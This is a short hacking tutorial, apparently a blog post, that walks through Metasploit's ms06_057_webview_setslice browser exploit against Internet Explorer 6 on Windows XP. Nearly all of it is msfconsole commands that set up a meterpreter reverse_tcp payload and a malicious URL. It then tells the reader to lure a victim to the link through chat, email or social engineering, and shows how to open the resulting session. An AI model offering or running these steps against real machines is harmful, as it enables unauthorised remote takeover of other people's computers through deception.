Hack Windows PC in LAN using Internet Explorer Web View Folder Icon setSlice() Overflow

This module exploits a flaw in the WebViewFolderIcon ActiveX control included with Windows 2000, Windows XP, and Windows 2003. This flaw was published during the Month of Browser Bugs project (MoBB #18)

Exploit Targets

Internet Explorer 6

Windows XP SP2


Attacker: Backtrack 5

Victim PC: Windows XP

Open backtrack terminal type msfconsole

Now type use exploit/windows/browser/ms06_057_webview_setslice

Msf exploit (ms06_057_webview_setslice)>set payload windows/meterpreter/reverse_tcp

Msf exploit (ms06_057_webview_setslice)>set lhost (IP of Local Host)

Msf exploit (ms06_057_webview_setslice)>set srvhost (This must be an address on the local machine)

Msf exploit (ms06_057_webview_setslice)>set uripath setslice (The Url to use for this exploit)

Msf exploit (ms06_057_webview_setslice)>exploit


Now an URL you should give to your victim //

Send the link of the server to the victim via chat or email or any social engineering technique.

Now you have access to the victims PC. Use “Sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“ 

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